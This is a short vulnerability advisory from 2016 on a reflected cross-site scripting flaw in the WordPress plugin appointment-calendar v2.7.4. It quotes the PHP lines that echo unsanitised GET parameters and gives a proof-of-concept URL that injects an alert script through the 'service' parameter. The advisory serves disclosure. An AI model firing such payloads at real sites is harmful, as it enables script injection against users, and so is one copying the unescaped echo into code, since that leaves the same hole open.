Advisory #: 321
Title: Reflected XSS in wordpress plugin appointment-calendar v2.7.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/appointment-calendar
Downloads: 56407
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: appointment-calendar
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./appointment-calendar/menu-pages/appointment-form2.php: 21: <input type="hidden" name="serviceid" id="serviceid" value="<?php echo $_GET['service']; ?>" /> 22: <input type="hidden" name="appointmentdate" id="appointmentdate" value="<?php echo $_GET['bookdate']; ?>" /> The variable service appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./appointment-calendar/menu-pages/appointment-form2.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/appointment-calendar/menu-pages/appointment-form2.php?service="><script>alert(1);</script><"